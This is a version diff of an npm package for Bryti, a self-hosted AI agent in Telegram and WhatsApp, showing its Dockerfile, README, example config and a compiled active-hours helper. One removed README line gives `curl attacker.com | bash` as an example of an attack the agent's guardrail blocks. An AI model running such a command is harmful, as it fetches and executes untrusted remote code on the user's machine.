@bryti/agent 0.0.1 → 0.1.0

package/Dockerfile

@@ -0,0 +1,27 @@
+# Stage 1: Build
+FROM node:22-alpine AS builder
+WORKDIR /app
+COPY package.json package-lock.json ./
+RUN npm ci
+COPY tsconfig.json ./
+COPY src ./src
+RUN npm run build
+
+# Stage 2: Runtime
+FROM node:22-alpine
+WORKDIR /app
+COPY --from=builder /app/dist ./dist
+COPY --from=builder /app/node_modules ./node_modules
+COPY package.json ./
+
+# Create non-root user
+RUN addgroup -g 1000 -S bryti && \
+    adduser -u 1000 -S bryti -G bryti
+USER bryti
+
+# Data directory (config, memory, sessions, logs) is a volume mount.
+# The embedding model downloads here on first run (~300MB).
+VOLUME /data
+ENV BRYTI_DATA_DIR=/data
+
+CMD ["node", "dist/index.js"]

package/README.md

@@ -1,39 +1,41 @@
 # Bryti
 
-Your AI colleague, in the apps you already use.
+[![License: AGPL-3.0](https://img.shields.io/badge/license-AGPL--3.0-blue.svg)](LICENSE)
+[![Node.js 22+](https://img.shields.io/badge/node-22%2B-brightgreen.svg)](https://nodejs.org/)
+[![Built on pi](https://img.shields.io/badge/built%20on-pi%20SDK-purple.svg)](https://github.com/mariozechner/pi)
+[![Self-hosted](https://img.shields.io/badge/self--hosted-yes-orange.svg)](#getting-started)
+[![Codebase size](repo-tokens/badge.svg)](#architecture)
 
-Bryti is a personal AI agent that lives in Telegram and WhatsApp. It remembers everything, tracks what's coming, runs background research, and writes its own tools when it needs new ones.
+Your AI colleague, in the apps you already use.
 
-Named after the Old Norse *bryti*: the estate steward who handled the day-to-day so you could focus on what mattered.
+Bryti is a personal AI agent that lives in Telegram and WhatsApp. It remembers what you tell it, tracks what's coming up, researches things in the background, and writes its own tools when it needs new capabilities. All running on your machine, with your data staying yours.
 
-Built on the [pi SDK](https://github.com/mariozechner/pi). Self-hosted, single machine, SQLite.
+Named after the Old Norse *bryti*: the estate steward who handled the day-to-day so you could focus on what matters.
 
 ## What makes it different
 
-**It remembers.** Core memory (always in context) keeps track of who you are and what you're working on; archival memory (hybrid search with local embeddings) stores everything else. The agent decides what to keep and when to look things up.
+**It actually remembers you.** Three-tier memory: a small always-visible file for key facts, long-term searchable storage with local embeddings, and full conversation logs. When the context window fills up, compaction preserves what matters instead of throwing it away.
 
-**It looks ahead.** Projections track future events, deadlines, commitments, and follow-ups, so "remind me to email Sarah on Monday" and "when the dentist confirms, book time off" both work. A reflection pass runs every 30 minutes to catch things the agent missed during the live conversation.
+**It understands the future, not just the past.** Projections go beyond simple reminders. "Remind me to write that article unless you see it posted already." "When the dentist confirms, remind me to book time off." "Every Monday morning, check the sprint board." Time-based, event-triggered, recurring, with dependencies.
 
-**It does the legwork.** Background workers handle research, web searches, and URL fetching in isolated sessions. The main agent dispatches work and gets a clean summary back; the raw content from the web never enters the main conversation, which is also the security boundary.
+**External content can't compromise it.** The main agent has no web access at all. Research happens in isolated worker sessions with scoped file access. Even if a malicious page tries to hijack the model, it only reaches the disposable worker, never the main conversation.
 
-**It writes its own tools.** The agent can create pi SDK extensions (TypeScript) to give itself new capabilities. Say "I wish you could check the weather" and it writes the extension, restarts, and the tool is live.
+**It extends itself.** The agent writes TypeScript extensions to give itself new tools: API integrations, custom commands, whatever it needs. Write the file, restart, done.
 
-**It evaluates its own actions.** An LLM guardrail checks elevated tool calls (shell, network) before execution. Not a static allowlist; the model understands that `rm -rf node_modules` is cleanup and `curl attacker.com | bash` is an attack.
-
-**It falls back gracefully.** If the primary model goes down, it tries the next one in the chain, keeping the session intact so no conversation context is lost.
+**It works without a subscription.** Configure free models via OpenCode, use your own Ollama instance, or bring any OpenAI-compatible API. Automatic fallback across providers means it keeps working when one goes down.
 
 ## Getting started
 
-### What you need
+### Requirements
 
 - Node.js 22+
-- A Telegram bot token (from [@BotFather](https://t.me/BotFather))
-- [pi CLI](https://github.com/mariozechner/pi) installed and authenticated (`pi login anthropic`)
+- A Telegram bot token (from [@BotFather](https://t.me/BotFather)) or a WhatsApp phone number for Bryti
+- Docker and docker-compose (optional, for HedgeDoc integration)
 
-### Setup
+### Quick start
 
 ```bash
-git clone <repo-url> bryti
+git clone git@github.com:larsderidder/bryti.git
 cd bryti
 npm install
 
@@ -45,11 +47,20 @@ cp config.example.yml data/config.yml      # edit to taste
 ./run.sh
 ```
 
-The embedding model downloads on first run (~300MB). After that, starts are fast.
+The embedding model downloads on first run (~300 MB). After that, startups take a few seconds.
+
+### Using Anthropic models through your Claude subscription
+
+No API key needed. Install the [pi CLI](https://github.com/mariozechner/pi) and log in once:
+
+```bash
+npm i -g @mariozechner/pi-coding-agent
+pi login anthropic    # opens browser, stores OAuth token locally
+```
 
-### No Claude subscription?
+### Using free or open-source models only
 
-Use free models only:
+No subscription, no API keys:
 
 ```yaml
 agent:
@@ -58,15 +69,21 @@ agent:
     - "opencode/kimi-k2.5-free"
 ```
 
-Remove the `anthropic` provider from `models.providers`. No API keys needed.
+Remove the `anthropic` provider from `models.providers` in your config. See `config.example.yml` for more provider examples (OpenRouter, Google Gemini, Ollama, Together AI).
 
 ### Docker
 
 ```bash
+cp .env.example .env                       # add your Telegram bot token
+cp config.example.yml data/config.yml      # edit to taste
 docker compose up -d
 ```
 
-Mount `data/` as a volume. Config, memory, sessions, and logs all live there. Backup = copy the directory.
+The `data/` directory is mounted as a volume. Config, memory, sessions, and logs all live there. Backup = copy the directory. Logs are available via `docker compose logs -f`.
+
+### Why self-hosted?
+
+Your conversations, memories, and personal data never leave your machine. No third-party servers, no vendor lock-in on the agent itself. You control which models to use, which providers to trust, and when to upgrade.
 
 ## How it works
 
@@ -74,15 +91,15 @@ Mount `data/` as a volume. Config, memory, sessions, and logs all live there. Ba
 
 Three tiers, managed automatically:
 
-1. **Core memory** (`data/core-memory.md`): a small markdown file (4KB cap) that's always included in the model's context. Contains your preferences, ongoing projects, and key facts about you. The agent updates it as it learns.
+1. **Core memory** (`data/core-memory.md`): a small markdown file (4 KB cap) that's always in the model's context. Contains your preferences, ongoing projects, and key facts about you. The agent updates it as it learns.
 
-2. **Archival memory** (per-user SQLite): long-term storage with hybrid search that combines FTS5 keyword matching and vector similarity (local embeddings via node-llama-cpp), fused with reciprocal rank fusion. No external API calls; all embedding runs locally. The agent inserts facts when it learns something and searches when it needs context.
+2. **Archival memory** (per-user SQLite): long-term storage with hybrid search combining FTS5 keyword matching and vector similarity (local embeddings via node-llama-cpp), fused with reciprocal rank fusion. No external API calls; all embedding runs on your machine. The agent inserts facts when it learns something and searches when it needs context.
 
-3. **Conversation search**: full JSONL audit logs of every conversation, searchable by keyword. Useful when the agent needs to look up what you discussed last week, or when you want to find something specific from a past exchange.
+3. **Conversation search**: full JSONL audit logs of every conversation, searchable by keyword. Useful when the agent needs to look up what you discussed last week.
 
 ### Projections
 
-The forward-looking memory system. Instead of just remembering the past, bryti tracks what's coming:
+The forward-looking memory system. Instead of just remembering the past, Bryti tracks what's coming:
 
 - **Exact-time**: "remind me at 3pm" fires at 3pm
 - **Day/week/month**: "follow up next week" resolves within that window
@@ -95,24 +112,37 @@ A reflection pass runs every 30 minutes, scanning recent conversation history fo
 
 ### Workers
 
-Stateless background sessions for long-running tasks. The main agent dispatches a worker with a goal; the worker runs independently (web search, URL fetching, analysis) and writes results to a file. When it finishes, a completion fact is archived, which triggers any matching projection so the main agent reads the summary and notifies you immediately rather than waiting for the next scheduler tick.
+Background sessions for long-running tasks. The main agent dispatches a worker with a goal; the worker runs independently (web search, URL fetching, analysis) and writes results to a file. When it finishes, a completion fact is archived, which can trigger projections so the main agent reads the summary and notifies you right away.
 
-Workers are the security boundary. The main agent has no web search or URL fetch tools at all; external content is processed in isolation, and only the worker's cleaned-up result file enters the main conversation. This keeps prompt injection in web content from reaching the agent's context.
+Workers are also the first security boundary. The main agent has no web search or URL fetch tools. External content is processed in isolation, and only the worker's cleaned-up result file enters the main conversation. This keeps prompt injection in web content from reaching the agent's context.
 
-Up to 3 concurrent workers, 60-minute timeout. Workers default to the cheapest model in the fallback chain so they don't burn your primary model's tokens on research tasks. You can steer a running worker mid-task with `worker_steer` to narrow focus, redirect research, or add requirements.
+You can configure named worker types in `config.yml` with preset models, tools, and timeouts:
 
-### Self-extending
+```yaml
+workers:
+  types:
+    research:
+      description: "Web research and content gathering"
+      model: "anthropic/claude-sonnet-4-20250514"
+      tools: [web_search, fetch_url]
+      timeout_seconds: 3600
+    analysis:
+      description: "Deep analysis using a stronger model"
+      model: "anthropic/claude-sonnet-4-6"
+      tools: [fetch_url]
+      timeout_seconds: 1800
+```
 
-The agent writes TypeScript extension files to give itself new tools. Each extension registers tools with the pi SDK; after writing one the agent restarts, and the new tools are available immediately.
+The agent selects a type when dispatching. Explicit parameters on the dispatch call still override type defaults. The agent can also define new types by editing `config.yml` and restarting.
 
-Extensions live in `data/files/extensions/`. An extension guide is included so the agent knows the template, parameter types, and conventions. An empty file acts as a tombstone, signaling the agent intentionally deleted an extension so it won't get reseeded on restart.
+You can steer a running worker mid-task to narrow its focus or redirect its research.
 
 ### Guardrail
 
 Elevated tools (shell commands, HTTP requests, extension-loaded tools) go through two checks:
 
 1. **Tool-level approval**: is this tool allowed at all? First use requires your permission via inline buttons or text.
-2. **Call-level evaluation**: an LLM call evaluates the specific arguments against what you asked for. ALLOW (execute silently), ASK (confirm with you), or BLOCK (reject). The prompt is small (~300 tokens in, ~20 out), so it uses the primary model for reliability without meaningful cost impact.
+2. **Call-level evaluation**: an LLM call evaluates the specific arguments against what you asked for, and decides whether to escalate. Like a call-based sudo. The prompt is small (~300 tokens in, ~20 out), so it uses the primary model for reliability without meaningful cost impact.
 
 Pre-approve tools in config to skip the first-use prompt:
 
@@ -123,11 +153,17 @@ trust:
     - http_request
 ```
 
+### Self-extending
+
+The agent writes TypeScript extension files to give itself new tools, using the pi SDK extension format. Each extension registers tools with the SDK; after writing one the agent restarts, and the new tools are available immediately.
+
+Extensions live in `data/files/extensions/`. An extension guide is included so the agent knows the template, parameter types, and conventions. An empty file acts as a tombstone, signaling the agent intentionally deleted an extension so it won't get reseeded on restart.
+
 ## Architecture
 
-### Source layout
+Bryti is intentionally simple, straightforward, and organized. You should be able to understand the code, and any component should be simple enough to read in a single sitting. If that's not the case, open an issue and I'll fix it.
 
-~50 source files, ~10K lines.
+### Source layout
 
 ```
 src/
@@ -145,7 +181,7 @@ src/
     whatsapp.ts       baileys bridge, QR auth, auto-reconnect
 
   memory/
-    core-memory.ts    always-in-context markdown file (4KB cap)
+    core-memory.ts    always-in-context markdown file (4 KB cap)
     store.ts          per-user SQLite with FTS5 + embeddings
     embeddings.ts     local embeddings via node-llama-cpp
     search.ts         hybrid keyword + vector search with RRF
@@ -183,25 +219,13 @@ src/
 
 ## Configuration
 
-`data/config.yml` controls everything. Copy `config.example.yml` to get started.
-
-**Agent**: name, system prompt additions, primary model, fallback models, timezone, reflection model.
-
-**Channels**: Telegram token + allowed user IDs. WhatsApp enable flag + allowed phone numbers. Both can run simultaneously.
-
-**Models**: providers with endpoints, API keys, and model definitions. Anthropic OAuth reads tokens from `~/.pi/agent/auth.json` (shared with pi CLI). Free models use `api_key: "public"`.
-
-**Tools**: SearXNG instance URL for worker web searches, max concurrent workers, file workspace path.
-
-**Scheduling**: static cron jobs, active hours window. Projection jobs (daily review, exact-time check, reflection) are automatic.
-
-**Integrations**: key-value pairs injected into `process.env` so extensions can pick them up. Convention: `integrations.hedgedoc.url` becomes `HEDGEDOC_URL`. Existing env vars are never overwritten.
+`data/config.yml` controls everything. Copy `config.example.yml` to get started. The example file is heavily commented with all available options, provider examples, and integration patterns.
 
 Environment variables are supported via `${VAR}` syntax. The `.env` file loads automatically.
 
 ## CLI
 
-Operator tools for managing bryti without going through chat:
+Operator tools for managing Bryti without going through chat:
 
 ```bash
 npm run cli -- help                              # all commands
@@ -212,9 +236,12 @@ npm run cli -- reflect                           # run reflection pass now
 npm run cli -- timeskip "dentist" --minutes 2    # make a projection fire in 2 min
 npm run cli -- archive-fact "dentist confirmed"  # insert fact, trigger matching projections
 npm run cli -- fill-context --turns 20           # inject synthetic conversation for testing
-npm run cli -- import-openclaw                   # import memory from an OpenClaw instance
 ```
 
+## Contributing
+
+Found a bug or have an idea? [Open an issue](https://github.com/larsderidder/bryti/issues). Pull requests welcome.
+
 ## License
 
 [AGPL-3.0](LICENSE)

package/config.example.yml

@@ -0,0 +1,265 @@
+# Bryti configuration
+# Copy to data/config.yml and fill in your values.
+# ${VAR} references are substituted from environment variables.
+
+agent:
+  name: "Bryti"
+
+  # System prompt. Memory contents, tool listings, extensions, and projections
+  # are injected automatically; this is the behavioral core. Personal details
+  # about you are best shared in conversation; the agent stores them in core
+  # memory and keeps them across sessions.
+  system_prompt: |
+    You are Bryti, a personal AI assistant. You run on the pi agent framework
+    with persistent memory and tool-calling capabilities. You are concise,
+    practical, and honest about what you can and cannot do.
+
+    ## Your memory
+    Your core memory (shown below) persists across conversations. Update it when
+    you learn something worth keeping: user preferences, facts, ongoing projects,
+    recurring topics. Do this proactively without telling the user unless asked.
+
+    Archival memory is for details that don't need to be always visible but should
+    be searchable later.
+
+    ## Projection memory
+    Projections are your forward-looking memory. Store anything about the
+    future: appointments, deadlines, plans, reminders, commitments. Your
+    current projections are shown below; use `projection_list` to see more.
+
+    Guidelines:
+    - Store ALL items, even far-future ones. If unsure about timing, use
+      resolution "month" or "someday"
+    - Connect new information to existing projections when you see a link
+    - When the user postpones a discussion, create a separate projection for
+      each distinct topic being deferred
+    - ALWAYS populate the context field with keywords to search archival
+      memory with and a brief description of why this matters
+    - Before creating a projection, search archival memory first to find
+      existing relevant context. Note key terms in the context field so you
+      can find them again at activation time
+    - If you just discussed something worth projecting, archive the key
+      points first, then create the projection referencing what you archived
+    - When a projection activates, search archival memory for related context
+      before responding. Projections are the "what" and "when"; archival
+      memory holds the "why"
+
+    ## What you cannot do
+    - You cannot modify your own source code or core configuration
+    - You cannot access the internet directly. Use worker_dispatch for any
+      web research.
+
+  # Primary model. Format: provider/model-id
+  # Option 1: Anthropic OAuth (Claude Pro/Max subscription, no API key needed)
+  # Requires pi CLI login first: `pi login anthropic`
+  model: "anthropic/claude-sonnet-4-6"
+
+  # Tried in order when primary model fails
+  fallback_models:
+    - "opencode/minimax-m2.5-free"
+    - "opencode/kimi-k2.5-free"
+
+  # IANA timezone for projection scheduling and display
+  timezone: "Europe/Amsterdam"
+
+  # Model for the background reflection pass (defaults to primary model).
+  # Set a cheaper model here to save tokens on background work.
+  # reflection_model: "opencode/minimax-m2.5-free"
+
+# ---------------------------------------------------------------------------
+# Channels (enable at least one)
+# ---------------------------------------------------------------------------
+
+telegram:
+  token: ${TELEGRAM_BOT_TOKEN}
+  allowed_users: []  # Telegram user IDs. Empty = deny all. Add at least one.
+
+# WhatsApp via baileys (no Meta Business API). QR code auth on first run.
+# allowed_users: phone numbers in international format without + (e.g., 31612345678)
+whatsapp:
+  enabled: false
+  allowed_users: []
+
+# ---------------------------------------------------------------------------
+# Model providers
+# ---------------------------------------------------------------------------
+
+models:
+  providers:
+    # context_window and max_tokens are optional on every model.
+    # Defaults: 200K context, 32K output. Only set them when a model differs.
+    # Only list the models you actually use in agent.model / fallback_models.
+
+    # Anthropic OAuth: uses your Claude Pro or Max subscription.
+    # No api_key needed; bryti reads the OAuth token from ~/.pi/agent/auth.json.
+    # One-time setup: install pi (`npm i -g @mariozechner/pi-coding-agent`)
+    # and run `pi login anthropic`. Opens a browser, token is stored locally.
+    - name: anthropic
+      base_url: ""
+      api: anthropic-messages
+      api_key: ""
+      models:
+        - id: "claude-sonnet-4-6"
+          context_window: 200000
+          max_tokens: 64000
+
+    # Free open models via opencode.ai (no subscription, no API key)
+    - name: opencode
+      base_url: https://opencode.ai/zen/v1
+      api: openai-responses
+      api_key: "public"
+      models:
+        - id: "minimax-m2.5-free"
+          name: "MiniMax M2.5 (Free)"
+          api: openai-completions
+          context_window: 200000
+          max_tokens: 32000
+          compat:
+            maxTokensField: max_tokens
+        - id: "kimi-k2.5-free"
+          name: "Kimi K2.5 (Free)"
+          api: openai-completions
+          context_window: 128000
+          max_tokens: 32000
+          compat:
+            maxTokensField: max_tokens
+
+    # --- More providers (uncomment and add your keys) ---
+
+    # Anthropic API key (alternative to OAuth above)
+    # - name: anthropic
+    #   api: anthropic-messages
+    #   api_key: ${ANTHROPIC_API_KEY}
+    #   models:
+    #     - id: "claude-sonnet-4-6"
+    #       context_window: 200000
+    #       max_tokens: 64000
+
+    # OpenRouter: access 200+ models with one API key
+    # - name: openrouter
+    #   base_url: https://openrouter.ai/api/v1
+    #   api_key: ${OPENROUTER_API_KEY}
+    #   models:
+    #     - id: "anthropic/claude-sonnet-4-6"
+    #       context_window: 200000
+    #       max_tokens: 64000
+
+    # Google Gemini
+    # - name: google
+    #   base_url: https://generativelanguage.googleapis.com/v1beta/openai
+    #   api_key: ${GOOGLE_API_KEY}
+    #   models:
+    #     - id: "gemini-2.5-flash"
+    #       context_window: 1048576
+    #       max_tokens: 65536
+
+    # Ollama (local or remote)
+    # - name: ollama
+    #   base_url: http://localhost:11434/v1
+    #   api_key: "ollama"
+    #   models:
+    #     - id: "qwen3:32b"
+
+    # Together AI
+    # - name: together
+    #   base_url: https://api.together.xyz/v1
+    #   api_key: ${TOGETHER_API_KEY}
+    #   models:
+    #     - id: "Qwen/Qwen3-235B-A22B"
+
+# ---------------------------------------------------------------------------
+# Tools
+# ---------------------------------------------------------------------------
+
+tools:
+  # Web search for workers. Set brave_api_key OR searxng_url (not both).
+  # If both are set, Brave takes priority.
+  # If neither is set, web search is disabled for workers.
+  web_search:
+    # Option A: Brave Search API. Free tier: 2000 queries/month, no self-hosting.
+    #           Get a key at https://api.search.brave.com/
+    # brave_api_key: "${BRAVE_API_KEY}"
+
+    # Option B: SearXNG. Self-hosted or public instance, no API key needed.
+    searxng_url: "https://searx.be"
+
+  # fetch_url:
+  #   timeout_ms: 10000    # default: 10s
+
+  # files:
+  #   base_dir: ./data/files  # default
+
+  workers:
+    max_concurrent: 3
+    # Default model for background workers. Falls back to the first
+    # fallback_model, then the primary agent model.
+    # model: "opencode/minimax-m2.5-free"
+
+    # Named worker types. The agent selects a type when dispatching to get
+    # preset defaults for model, tools, and timeout. Explicit parameters on
+    # the dispatch call still override type defaults.
+    # The agent can also define new types by editing this file and restarting.
+    # types:
+    #   research:
+    #     description: "Web research and content gathering"
+    #     model: "opencode/minimax-m2.5-free"
+    #     tools: [web_search, fetch_url]
+    #     timeout_seconds: 3600
+    #   analysis:
+    #     description: "Deep analysis using a stronger model"
+    #     model: "anthropic/claude-sonnet-4-6"
+    #     tools: [fetch_url]
+    #     timeout_seconds: 1800
+
+# ---------------------------------------------------------------------------
+# Integrations (optional)
+#
+# Values here are injected into process.env at startup so extensions can
+# read them without separate .env entries.
+#
+# Convention: integrations.<name>.<key> becomes the env var NAME_KEY (uppercased).
+# Example: integrations.hedgedoc.url → HEDGEDOC_URL
+#
+# Secrets (API keys, tokens) should still use ${VAR} substitution so they
+# stay in .env and out of config.yml.
+# ---------------------------------------------------------------------------
+
+# integrations:
+#   hedgedoc:
+#     url: "http://hedgedoc:3000"           # internal Docker network URL
+#     public_url: "https://docs.example.com" # user-facing URL for shared links
+#
+#   # Any future integration follows the same pattern:
+#   # my_service:
+#   #   url: "https://api.example.com"
+#   #   api_key: "${MY_SERVICE_API_KEY}"    # secret stays in .env
+
+# ---------------------------------------------------------------------------
+# Scheduled prompts (optional)
+# ---------------------------------------------------------------------------
+
+cron: []
+  # - schedule: "0 8 * * *"
+  #   message: "Good morning! Brief me on anything I need to know today."
+  # - schedule: "0 18 * * 1-5"
+  #   message: "Summarize what we discussed today and update memory with action items."
+
+# ---------------------------------------------------------------------------
+# Trust levels (runtime permissions for elevated tools)
+# ---------------------------------------------------------------------------
+
+# Extension tools (shell_exec, http_request, etc.) require approval before
+# first use. Pre-approve tools here to skip the permission prompt.
+# trust:
+#   approved_tools:
+#     - shell_exec
+#     - http_request
+#     - weather_weert
+
+# ---------------------------------------------------------------------------
+# Active hours (optional; limits when the scheduler can send messages)
+# ---------------------------------------------------------------------------
+
+# active_hours:
+#   start: "08:00"
+#   end: "23:00"

package/dist/active-hours.d.ts

@@ -0,0 +1,23 @@
+/**
+ * Active hours guard.
+ *
+ * Determines whether the current time falls within the configured active
+ * window so scheduler callbacks skip during quiet hours. Absent config
+ * means always active. Overnight windows (start > end) are supported.
+ */
+export interface ActiveHoursConfig {
+    /** IANA timezone name, e.g. "Europe/Amsterdam". */
+    timezone: string;
+    /** Start of active window, "HH:MM", inclusive. */
+    start: string;
+    /** End of active window, "HH:MM", exclusive. */
+    end: string;
+}
+/**
+ * Return true if the given time (default: now) is within the active window.
+ *
+ * When cfg is undefined, always returns true (no restriction configured).
+ * The optional `now` parameter exists for testing.
+ */
+export declare function isActiveNow(cfg: ActiveHoursConfig | undefined, now?: Date): boolean;
+//# sourceMappingURL=active-hours.d.ts.map

package/dist/active-hours.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"active-hours.d.ts","sourceRoot":"","sources":["../src/active-hours.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAEH,MAAM,WAAW,iBAAiB;IAChC,mDAAmD;IACnD,QAAQ,EAAE,MAAM,CAAC;IACjB,kDAAkD;IAClD,KAAK,EAAE,MAAM,CAAC;IACd,gDAAgD;IAChD,GAAG,EAAE,MAAM,CAAC;CACb;AAqCD;;;;;GAKG;AACH,wBAAgB,WAAW,CAAC,GAAG,EAAE,iBAAiB,GAAG,SAAS,EAAE,GAAG,CAAC,EAAE,IAAI,GAAG,OAAO,CAsBnF"}

package/dist/active-hours.js

@@ -0,0 +1,68 @@
+/**
+ * Active hours guard.
+ *
+ * Determines whether the current time falls within the configured active
+ * window so scheduler callbacks skip during quiet hours. Absent config
+ * means always active. Overnight windows (start > end) are supported.
+ */
+/**
+ * Parse "HH:MM" into total minutes since midnight. Returns NaN on bad input.
+ */
+function parseHHMM(hhmm) {
+    const match = hhmm.match(/^(\d{1,2}):(\d{2})$/);
+    if (!match)
+        return NaN;
+    const h = parseInt(match[1], 10);
+    const m = parseInt(match[2], 10);
+    if (h > 23 || m > 59)
+        return NaN;
+    return h * 60 + m;
+}
+/**
+ * Get the HH:MM minutes for a given Date in the given IANA timezone.
+ * Falls back to UTC on unknown timezone.
+ */
+function currentMinutesInZone(timezone, now = new Date()) {
+    try {
+        const parts = new Intl.DateTimeFormat("en-GB", {
+            timeZone: timezone,
+            hour: "2-digit",
+            minute: "2-digit",
+            hour12: false,
+        }).formatToParts(now);
+        const h = parseInt(parts.find((p) => p.type === "hour")?.value ?? "0", 10);
+        const m = parseInt(parts.find((p) => p.type === "minute")?.value ?? "0", 10);
+        return h * 60 + m;
+    }
+    catch {
+        // Unknown timezone: fall back to UTC
+        console.warn(`[active-hours] Unknown timezone "${timezone}", falling back to UTC`);
+        return now.getUTCHours() * 60 + now.getUTCMinutes();
+    }
+}
+/**
+ * Return true if the given time (default: now) is within the active window.
+ *
+ * When cfg is undefined, always returns true (no restriction configured).
+ * The optional `now` parameter exists for testing.
+ */
+export function isActiveNow(cfg, now) {
+    if (!cfg)
+        return true;
+    const startMin = parseHHMM(cfg.start);
+    const endMin = parseHHMM(cfg.end);
+    if (isNaN(startMin) || isNaN(endMin)) {
+        console.warn(`[active-hours] Invalid active_hours config (start="${cfg.start}" end="${cfg.end}"), treating as always active`);
+        return true;
+    }
+    const nowMin = currentMinutesInZone(cfg.timezone, now);
+    if (startMin <= endMin) {
+        // Normal window: 08:00–23:00
+        return nowMin >= startMin && nowMin < endMin;
+    }
+    else {
+        // Overnight window: 22:00–06:00
+        return nowMin >= startMin || nowMin < endMin;
+    }
+}
+//# sourceMappingURL=active-hours.js.map

package/dist/active-hours.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"active-hours.js","sourceRoot":"","sources":["../src/active-hours.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAWH;;GAEG;AACH,SAAS,SAAS,CAAC,IAAY;IAC7B,MAAM,KAAK,GAAG,IAAI,CAAC,KAAK,CAAC,qBAAqB,CAAC,CAAC;IAChD,IAAI,CAAC,KAAK;QAAE,OAAO,GAAG,CAAC;IACvB,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;IACjC,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;IACjC,IAAI,CAAC,GAAG,EAAE,IAAI,CAAC,GAAG,EAAE;QAAE,OAAO,GAAG,CAAC;IACjC,OAAO,CAAC,GAAG,EAAE,GAAG,CAAC,CAAC;AACpB,CAAC;AAED;;;GAGG;AACH,SAAS,oBAAoB,CAAC,QAAgB,EAAE,MAAY,IAAI,IAAI,EAAE;IACpE,IAAI,CAAC;QACH,MAAM,KAAK,GAAG,IAAI,IAAI,CAAC,cAAc,CAAC,OAAO,EAAE;YAC7C,QAAQ,EAAE,QAAQ;YAClB,IAAI,EAAE,SAAS;YACf,MAAM,EAAE,SAAS;YACjB,MAAM,EAAE,KAAK;SACd,CAAC,CAAC,aAAa,CAAC,GAAG,CAAC,CAAC;QAEtB,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,MAAM,CAAC,EAAE,KAAK,IAAI,GAAG,EAAE,EAAE,CAAC,CAAC;QAC3E,MAAM,CAAC,GAAG,QAAQ,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,IAAI,KAAK,QAAQ,CAAC,EAAE,KAAK,IAAI,GAAG,EAAE,EAAE,CAAC,CAAC;QAC7E,OAAO,CAAC,GAAG,EAAE,GAAG,CAAC,CAAC;IACpB,CAAC;IAAC,MAAM,CAAC;QACP,qCAAqC;QACrC,OAAO,CAAC,IAAI,CAAC,oCAAoC,QAAQ,wBAAwB,CAAC,CAAC;QACnF,OAAO,GAAG,CAAC,WAAW,EAAE,GAAG,EAAE,GAAG,GAAG,CAAC,aAAa,EAAE,CAAC;IACtD,CAAC;AACH,CAAC;AAED;;;;;GAKG;AACH,MAAM,UAAU,WAAW,CAAC,GAAkC,EAAE,GAAU;IACxE,IAAI,CAAC,GAAG;QAAE,OAAO,IAAI,CAAC;IAEtB,MAAM,QAAQ,GAAG,SAAS,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC;IACtC,MAAM,MAAM,GAAG,SAAS,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC;IAElC,IAAI,KAAK,CAAC,QAAQ,CAAC,IAAI,KAAK,CAAC,MAAM,CAAC,EAAE,CAAC;QACrC,OAAO,CAAC,IAAI,CACV,sDAAsD,GAAG,CAAC,KAAK,UAAU,GAAG,CAAC,GAAG,+BAA+B,CAChH,CAAC;QACF,OAAO,IAAI,CAAC;IACd,CAAC;IAED,MAAM,MAAM,GAAG,oBAAoB,CAAC,GAAG,CAAC,QAAQ,EAAE,GAAG,CAAC,CAAC;IAEvD,IAAI,QAAQ,IAAI,MAAM,EAAE,CAAC;QACvB,6BAA6B;QAC7B,OAAO,MAAM,IAAI,QAAQ,IAAI,MAAM,GAAG,MAAM,CAAC;IAC/C,CAAC;SAAM,CAAC;QACN,gCAAgC;QAChC,OAAO,MAAM,IAAI,QAAQ,IAAI,MAAM,GAAG,MAAM,CAAC;IAC/C,CAAC;AACH,CAAC"}